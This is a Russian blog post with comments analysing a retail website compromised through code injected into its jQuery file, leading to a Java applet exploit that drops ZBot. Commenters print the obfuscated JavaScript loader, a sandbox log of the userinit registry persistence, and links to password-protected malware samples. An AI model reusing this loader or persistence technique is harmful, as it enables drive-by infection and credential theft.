Детективная история в стиле Java/JS

    image
    Внимание: во время написания поста, сайт остаётся зараженным. Да, он может заразить Ваш Windows через дырку в Java (Возможно).

    Вчера вечером, заглянув на сайт компании Связной, обнаружил там предупреждение Google об опасности заражения, естественно я отверг это и полез смотреть в исходники (Не делайте так!)
    На первый взгляд там ничего опасного не оказалось. Пришлось копнуть глубже и я нашёл кое-что интересное!


    Угроза оказалась спрятана в jQuery (jquery.min.js), в самом конце файла было аккуратно вставлен следующий код (Очень не советую исполнять его, там iframe!!):

    image
    (Код: pastebin.com/DSPzeDqd)

    Порезав (Удалив немного символов с начала переменной «txt») зашифрованный текст мы уже получим не рабочий код, из которого узнаем что там скрывалось.

    Он-то и является «трояном», который увидел Google. IFrame ведёт нас сайт с определённо русскими корнями — "bul0va.***" (Что-бы Вы не ругались на меня, лучше не ходите туда! Там трояны!)

    Немного проанализировав исходники этого сайта нам удалось узнать что там есть ещё и java файл. Не став разбирать JavaScript код, я отправился на поиски декомпилятора Явы.
    Первым что я нашёл было это приложение — http://java.decompiler.free.fr/.
    Всё сработало. Я получил исходники этого jar файла с довольно интересным фишками «против слишком умных».

    image
    (Код основного класса: http://pastebin.ru/317047)

    К сожалению, я не смог понять что и как он делает.
    Предлагаю вам закончить небольшой квест и понять как он заражает машину конечного пользователя.
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 66

      +10
      Очередная сказка в стиле «винды? Стоять бояться!»?
        +60
        НЕ КАЧАЙТЕ ТАМ ВИРУС КОМП СГОРЕЛ ПИШУ С ПУЛЬТА ОТ ТЕЛЕВИЗОРА
          +3
          мда, это тот случай, когда мемы с аиб весьма уместны на хабре :)
        +7
        Переведу
        Если os.name==«Windows», то из Unicode.lopiyo(getParameter(«pid»)) качаем файл в %tmpdir%/[Math.random()].exe, потом делаем Runtime.exec

        Видимо, вся прелесть в «portable.porsa()»
          +1
          А. То есть я угадал с bul0va.com и по причине православности ОС оно редирректит меня на гугл?
            +4
            Да, апплет узнал Вашу ОС и просто система выполнила пустышку — редирект :)
              +12
              Ну хоть бы alarm сделали какой-нибудь типа «мы попозже сделаем версию под вашу ось». А вообще дырка то хорошая, в криволапом дистрибутиве оно могло бы и взлететь. Благо, Дядя Хром не позволяет JS работать с локальными файлами.
                +3
                Это не дырка, а фича :) Хотя проверял на старом 6u23, сегодня уже 24-й вышел, может что-то изменилось.

                И вполне возможно, что проверяется версия браузера, в моём случае всё было на IE8 с последними апдейтами. Никто не запрещает юзать 0-day для Хрома ;) Смотря насколько актуальный и насколько дорогой эксплоит-пак.

                Но это я уже фантазирую, как добавок к ответу на квест не считать :)
            0
            Очень любопытно, что это такое. Судя по всему вызыватель метода, что-то вроде Object porsa(Object object, Object[] params). Видимо соль в том, что вызыватель обходит защиту песочницы. Интересно, как.
              +1
              Я тоже недавно на парочку таких деятелей под Java нашел… Препарировал, препарировал, да недоприпарировал… :)
              narod.ru/disk/5968914001/blocker.rar.html, пароль abc, если кому интересно…
              –3
              Ссылку то дайте! Нам интересно!
              А по факту — всё, кроме того, что то было на сайте связного — уже обыденно.

                +75
                Раскодировку исходного жабаскрипта удобно делать в jsunpack.
                А вот то, что открывается уже не раскодируешь. Потому как там:

                То бишь апплету передаётся уникальное значение параметра pid. На основании этого он генерирует вывод, используемый в последующем декодировании:
                var vrq = null;var mgi = document.styleSheets[0].rules || document.styleSheets[0].cssRules;for(var dcwes = 0; dcwes < mgi.length; dcwes++) {var ztffs = mgi.item ? mgi.item(dcwes) : mgi[dcwes];roz=(ztffs.cssText) ? ztffs.cssText : ztffs.style.cssText;vrq = roz.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];};var s = "";var g = function(){return this;}();dtvu = g["e"+vrq.substr(0,2)+"l"];clrn = document.getElementsByTagName("textarea")[9-9].value.split(",");hqon=dtvu(vrq.substr(2));for (var i = 0; i < clrn.length; i++) {bzmwy = 9501 - 1*clrn[i];s += hqon(bzmwy);}dtvu(s);

                При этом "textarea" - массив данных в самом html.
                Попытка декодирования такого файла увы приводит к ошибке:
                [nothing detected] script
                info: [decodingLevel=0] found JavaScript
                error: undefined variable document.styleSheets
                error: line:1: SyntaxError: missing ; before statement:
                error: line:1: var document.styleSheets = 1;
                error: line:1: ....^
                error: line:3: SyntaxError: missing } in XML expression:
                error: line:3:
                92,9400,9390,9384,9385,9461,9400,9391,9401,9406,9387,9400,9401,9396,9387,9400,9402,9385,9457,9469,9447,9453,9453,9453,9460,9442,9376,9400,9382,9383,9399,9461,9460,9442

                Причина - невыполненный апплет Явы.

                А вот в реальном браузере всё выполняется ив результате немедленно в %temp% дропается файл и запускается на выполнение:


                Этот файл имеет низкий детект и упакован UPX:
                UPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo [Overlay]

                Под UPX имеется ещё и прот:
                AHTeam EP Protector 0.3 (fake PCGuard 4.03-4.15) -> FEUERRADER [Overlay] *

                Однако это фальшивая информация - протектор изменён, а потому распаковывать надо вручную. Файл также имеет низкий детект.

                Короче! Анализ файлов указывает на поведение, характерное для Zeus/ZBot:
                Анализ исходного файла.
                Анализ файла без UPX.

                Можно ещё копать, но мне кажется, пока ответ исчерпывающий - Вы нашли эксплоит-пак с рассадником ZBot. Может нового, а может - просто перепакованного.
                  +22
                  О, а вот и Анубис подоспел: оригинальный файл и разюпиэксенный. Тот же sdra64.exe в userinit, разве что не видно так хорошо инжектов, как в CWSandbox.

                  Кстати, пока я тут отчёты клепал, Икарус уже детект на оригинальный файл повесил:
                  Trojan-PWS.Win32.Zbot (Sig-Id:51778970)
                    +40
                    А вообще — дроп банальный:

                    Executing: d:\mxmt-upx.exe
                    ...
                    AdjustTokenPrivileges(SE_PRIVILEGE_ENABLED) [d:\mxmt-upx.exe]
                    CreateMutex(_AVIRA_21099) [d:\mxmt-upx.exe]
                    ...
                    RegCreateKeyEx(HKLM\software\microsoft\windows nt\currentversion\winlogon,(null)) [d:\mxmt-upx.exe]
                    RegSetValueEx(HKLM\software\microsoft\windows nt\currentversion\winlogon\userinit, REG_SZ: C:\WINDOWS\System32\userinit.exe,C:\WINDOWS\system32\sdra64.exe,) [d:\mxmt-upx.exe]
                    DeleteFile(C:\WINDOWS\system32\sdra64.exe) [d:\mxmt-upx.exe]
                    Copy(D:\mxmt-UPX.exe->C:\WINDOWS\system32\sdra64.exe) [d:\mxmt-upx.exe]


                    Уже по мутексу видно ZBot :)

                    Ну что, я выполнил квест или копать дальше? ;)
                      +7
                      Я думаю даже перевыполнил )
                      • UFO just landed and posted this here
                          +15
                          Я постараюсь дать некоторые знания в цикле статей про песочницы — они использовались в анализе, как Вы сами видите. Первую статью я уже написал, скоро будет продолжение.
                          • UFO just landed and posted this here
                          +3
                          ZBot старый видимо, на новых (который уже вместе со спайай) эмуляторы и сендбоксы дохнут.
                          Вот пример: www.sendspace.com/file/05q614 (пв — virus). правда, была возможность посмотреть на билдер (на нем висит VMProt, попсово конечно, поэтому hwid не проблема пропатчить), и я вот скажу — не смотря на то, что криптер активно использует антиэмуль/вирт трюки и пытается защищаться от трейса — мутация кода там довольно слабая и замутить детект всего крипт движка не проблема, может быть некоторые АВ уже сделали так.

                          По уязвимость, эх, на самом деле в таких продуктах как JAVA их достаточно, я лично недавно нашел эксплоит на выполнение произвольного кода, причем атака возможно не хип-спреем, а намного более надежным вариантом. Еще и в флеше находил уязвимость, что-то типа мемори-коррапшен. Так что в принципе, найти уязвимость при достаточных навыках — не проблема, а вот довести саму уязвимость до рабочего вида, да и еще чтобы в несколько браузерах и на нескольких ОС работало — это адский труд. Уязвимости еще не репортил, отпишу им под настроение, не думаю, что это особо критично.
                            +1
                            Да, песочницы этот сэмпл действительно накрывает, но тем не менее подозрение Камаз нашёл:
                            LM\System\CurrentControlSet\Services\FCI\ImagePath REG_EXPAND_SZ 80 «C:\WINDOWS\system32\svchost.exe:ext.exe»

                            Старая шутка со времён Рустока ;)

                            Joebox ввели регистрацию, позже там проверю.
                        0
                        Судя по иконке, она генерируется рандомом. Опция сборщика?
                        –11
                        Ох уж мне эти предупреждения про вирусы браузерные. Недавно на каком-то дешевом файлохостинге, походу через рекламу нехорошую ко мне вирус залез. Все произошло так: сайт открывается, запускается медиаплеер, я понимаю, что настала жопа, сайт вдруг сменяется предупреждением об опасности и… Киньте денег на телефончик.
                          –6
                          Судя по «import chrome» в аплете, это ява-код специально для хрома. Непонятно что такое portable.porsa и каким образом через это чудо выполняется exec. Может еще грузится и класс portable? В импортах его нет, переменных таких нет, значит это класс из дефолтного пакета.
                            +4
                            Ох, а если глянуть в исходники Firefox'а…
                              +1
                              pastebin.ru/317047

                              package direct;

                              import chrome.UTF;
                              import chrome.Unicode;
                              import java.applet.Applet;
                              import java.beans.Expression;
                              import java.io.FileOutputStream;
                              import java.io.InputStream;
                              import java.net.URL;
                              import java.util.HashSet;
                              import javax.swing.JList;

                              Выходит «portable» — это класс из пакета direct.
                              0
                              А хваленая система безопасности IE его определяет?
                                0
                                Да, выбросило предупреждение про код или ActiveX.
                                0
                                Что-то вот недавно у X5 сайт поломан был, теперь у Связного. Видимо пора начать параноить и отключать везде JS и плагины. И тот факт, что у меня Убунта как-то больше уверенности придаёт.
                                  0
                                  Java вирусы под Linux уже были
                                    +3
                                    * я в своём комментарии ошибся:
                                    И тот факт, что у меня Убунта как-то уже больше уверенности не придаёт.
                                    • UFO just landed and posted this here
                                        0
                                        Есть такое дело. Например:
                                        /home/renard/.icedteaplugin/cache/http/stroifasad.com/dod/a843d1cb385/a06bfd4fada.jar: Trojan.Downloader.Java-18 FOUND
                                        Еще шаловливыми ручками некой особы был запущен троянец из электрописьма, и успешно фигачил спам под wine.
                                          0
                                          Ну у вас и особы, я тут специально толком под wine ничего не могу запустить. Или просто авторы троянов пишут грамотней программы? :)
                                            0
                                            Видимо то что вы запускаете сильно специфично, или вообще что-то запредельное типа Creative Suite. Многие программы и даже игрушки нынче под Wine идут даже лучше чем под Windows (сужу по Angry Birds, Counter Strike и GIF Movie Gear)
                                              0
                                              Пытаюсь запускать или игрушки под dx7-9 (ностальгия и диски валяются без дела), или мало кому известные поделки (нормальным ПО у меня язык не поворачивается их назвать даже под родной ОС — но работа требует).
                                    0
                                    А теперь, когда уже выолнили квест, хорошо бы рассказать админам сайта.
                                      0
                                      Судя по всему, зараженный файл удалили, а гугл все равно считает сайт зараженным.
                                      Интересно, сколько времени надо на обновление базы.
                                        +1
                                        malware ворнинг гугл и два месяца убирать может и три, но к ним можно за review обратится если чо
                                        0
                                        Непонятен принцип действия аплета. По идее аплеты не могут работать с файловой системой и запускать файлы на исполнение. Как это обходится и в каком браузере непонятно…
                                          +1
                                          Тут, видимо, не совсем аплет. Делается крафтинг через Browser Environment. Обычно каким-то образом запускают классы, валяющиеся в кеше браузера, но уже не как аплеты, а обычные приложения, в обход песочницы.
                                      +1
                                      В связном уже знают:) Предложил им хабр почитать:)
                                        –11
                                        До чего же глупы бывают люди.

                                        Вот нафига вы держите у себя в браузере Яву? Я за года 2 пользования не встретил ни 1 сайта, где она нужны, кроме вирусов и троянов. Ява никому, кроме хакеров, не нужна. Вы сами себе злобные буратины.
                                          +7
                                          До чего же глупы бывают люди.

                                          Вот нафига вы держите у себя в компьютере браузер? Я за года 2 пользования не встретил ни единой задачи, для которой нужен браузер, кроме вирусов и троянов. Браузер никому, кроме хакеров, не нужна. Вы сами себе злобные буратины.

                                          А если серьёзно, то Java-апплеты действительно сейчас сильно отстают по usability от флешек и навороченный Javascript'овых приложений. Но иногда и они бывают нужны. Не судите о всех по себе.
                                            0
                                            Да и комп в целом не критичен человеку для выживания, есть/спать/размножаться можно и без него. Так что всё кроме еды, кровати и секс-партнёра это излишества ненужные =)
                                              0
                                              Кровать — тоже излишество!
                                                0
                                                Бывает, что без компа и есть нечего, а через некоторое время и спать не с кем…
                                              +2
                                              Для Powder Game, например. Или если захочется детство вспомнить. :)
                                              А от «вирусов и троянов» меня защищает NoScript — за несколько лет ни один не пробрался.
                                                0
                                                Пипец блин, на час завис на Powder Game, нельзя же так.
                                                +2
                                                У некоторых банков интернет-банкинг сделан с использованием Java — например, там где нужно подписать платежи с помощью файла ключей.
                                                  0
                                                  +1, у меня счета в двух банках и в обоих интернет-банкинг использует java
                                                  0
                                                  >Интересы: php
                                                  многое обьясняет

                                                  @edelweard
                                                  Java в отличии от Флеша и JS создавалась не для красивостей в браузере (нет, правда, вы видели хоть одно _полезное_ приложение на Флеше (ютубовский плеер не в счет. хотя и его скоро заменят.)? сплошные казуалки и еще раз казуалки.). Ява апплеты — просто побочный (достаточно грубое определение, но точнее не нашел) продукт основной технологии.
                                                    0
                                                    На флеше часто делают просмотр больших фотографий, гигапиксельные фото, панорамы огроменные итд, плохой пример?
                                                      0
                                                      >плохой пример?
                                                      50 на 50. сейчас это можно и яваскриптом сделать.
                                                        0
                                                        Можно яваскриптом и векторы рисовать и анимацию, тоесть полностью заменить флеш, но вот рациональность дает о себе знать, кое где удобен один инструмент, кое где другой, сейчас можно, в принципе, заменить все что есть флешовое на жс, но это будет более затратно в плане производства, а флеш плагин стоит у всех и весит понт. Если бы он был бы менее дырявый =) браузерных дыр итак хватает.
                                                          0
                                                          Я так понимаю, что вы хорошо владеете обоими инструментами. По-вашему, есть ли смысл поверхностно изучать один инструмент, а вернее, ЯП и его стандартные библиотеки/API (в моём случае — флэш), если уже поверхностно владеешь другим (джаваскрипт), а задача стоит, судя по всему, разовая, приобретенный опыт вряд ли где ещё пригодится, в виду того, что специализация прежде всего сервер-сайд, а тут просто клиент-сайдом заниматься некому, но без него хорошего заказа не будет, заказчик требует «под ключ».
                                                            0
                                                            Я не владею обоими, но я знаю как минимум 5 человек владеющих AS
                                                            1 — овладеть AS стоит, потому как это новая ступень JS.
                                                            2 — овладеть AS стоит, потому как это открывает новые познания в архитектуре JS.
                                                            3 — овладеть AS стоит потому как это новые познания, которые никогда не будут лишними.
                                                            4 — овладеть AS стоит потому как это пока еще прибыльная и не умершая технология, на шаг опережающая JS.

                                                            Учитывая что это сказал ярый противник флеша, дальше думать лишь Вам =)
                                                      0
                                                      Во-первых, по поводу приложений — для просмотра видео/музыки/трансляций, векторной графики и разговоров есть флеш, он тоже конечно кривой но не такой кривой как ява. Для сложных расчетов и работы с базами данных — к вашим услугам мощные сервера. Зачем нужна именно ява — непонятно. Банк-клиент и на HTML + JS хорош опишется и будет работать на том же айпадике и вообще на любом утюге, в отличие от явы.

                                                      Возможно лет 10 назад она предоставляла какие-то уникальные возможности, но сегодня — нет. Следовательно, непонятно, почему: 1) она автоматически молча ставится у большого количества пользвоателей, 2) почему она включена на всех сайтах по дефолту, а не включается отдельной кнопкой и 3) как вообще Оракл смеет выпускать свое кривое и глючное поделие и распространять его таким образом? 4) Почему они внедрили систему подписей, благодаря которой МС может запустить любой код на компьютере пользователя без его согласия?

                                                      В общем-то 1) и 2) легко объяснимы — чем шире аудитория явы, тем больше бонусов им потенциальной прибыли это дает компании. Проблемы с безопасностью — ничто рядом с возможной прибылью от популярности платформы.

                                                      Сравните, например подход к безопасности Гугла в Хроме: «Мы не можем гарантировать, что огромный код рендерера окажется беззопасным, потому мы засовываем его в отдельный процесс с правами, с которыми даже файл создать нельзя». И подход Явы: «отлично, берем наш код для серверов, по-быстренькому быдлокодим обертку для браузера, и включаем всем пользовтелям во все браузеры. Будут баги и заразится пара миллионов человек — наймем индуса выпустить патч».

                                                      А еще, ктстати, у Гугла есть неразвитая, но интересная технология Native Client, в которой опять же. подход к безопасности радикально правильнее, чем в яве.

                                                      Я в общем-то, не против того, что кому-то нравится писать приложения для браузера на Яве, а кому-т их испоользовать. Но я против того, чтобы кривой, глючный плагин, с возможностью неограниченнх привилегий для корпораций и хакеров, ставился всем пользователям без разбора. Увы, тут мои интересы по повышению безопасности приложений не сходятся с бизнес-планами оракла.
                                                        +1
                                                        >он тоже конечно кривой но не такой кривой как ява
                                                        >она автоматически молча ставится у большого количества пользвоателей
                                                        >отлично, берем наш код для серверов, по-быстренькому быдлокодим обертку для браузера, и включаем всем пользовтелям во все браузеры.
                                                        >подход к безопасности радикально правильнее, чем в яве
                                                        Ну и как там жизнь, в параллельной вселенной?
                                                          0
                                                          Насчёт мощных серверов — столкнулся намедни с тем, что задача заказчика, легко решаемая традиционной трехзвенной архитектурой (тонкий клиент для UI — толстый сервер для логики — тонкая БД для хранения данных) с технической точки зрения, оказывается трудно решаемой с юридически-экономической — без сертифицированного (а значит неоправданно, имхо, дорогого, по крайней мере для малого бизнеса) ПО (и хорошо, если АО и физические условия его эксплуатации сертифицировать не нужно) решить эту задачу не реально, соблюдая букву и дух закона (ладно бы что-то одно из них). Единственный экономически приелимый вариант — переносить всю логику на сторону клиента, за сервером оставлять только тонкое хранилище, закриптованное для его админов — уничтожить могут, прочитать нет (в соответствии с ГОСТом)

                                                          Насчёт распространения: что значит «Оракл смеет», «внедрили систему подписей», «включаем всем пользователям в браузеры» и т. п.? Мне ни Оракл, ни Сан (Царство ему Небесное) ничего ни в браузеры, ни в ОС, ни в прикладные программы типа OOo, NetBeans, Eclipse или Aptana не внедряли, также как, например, Адоб. Если кто и внедрял без моего явного согласия, то поставщики этих браузеров, ОСей, программ или пакетов. За то, Оракл/Сан/Адоб/… смогли как-то заинтересовать моих поставщиков внедрять их разработку в свои продукты им честь и хвала, как бизнесменам. Если это сделано без моего согласия, то позор моим поставщикам, а не «третьим лицам».

                                                          А вообще, насколько я понимаю, в подавляющем большинстве случаев на десктопах и прочих «IBM PC» JRE является максимум рекомендацией для получения доступа к полному функционалу, а не обязательной зависимостью.
                                                            0
                                                            Нет, проблема в том, что программы, зависящие от Явы, часто включают ее в дистрибутив (или требуют скачать и установить), а вот она уже сама, с включенными по дефолту галочками (то есть без выраженного согласия пользователя) ставит плагины в браузеры. Таким образом, установка десктопной программы открывает дыры в браузере, причем пользвоатель может об этом и не догадываться.

                                                            В вашем примере — ситуация происходит в организации, где есть админы, которые разберутся с нужными настройкам и зафаерволлят эту яву как следует.
                                                            0
                                                            Необязательно было писать эту простыню, вы могли бы ограничиться фразой «я — жабафоб» :)
                                                        +1
                                                        Почистили похоже, а я так хотел протестировать свою систему.
                                                          +2
                                                          Всегда сидел с отключёнными iFrame, ибо не нужны.
                                                            0
                                                            Эх, можно было бы их еще включать для ограниченного списка сайтов.
                                                              0
                                                              В gmail, кстати, не работает ajax-интерфейс с выключенными фреймами.

                                                            Only users with full accounts can post comments. Log in, please.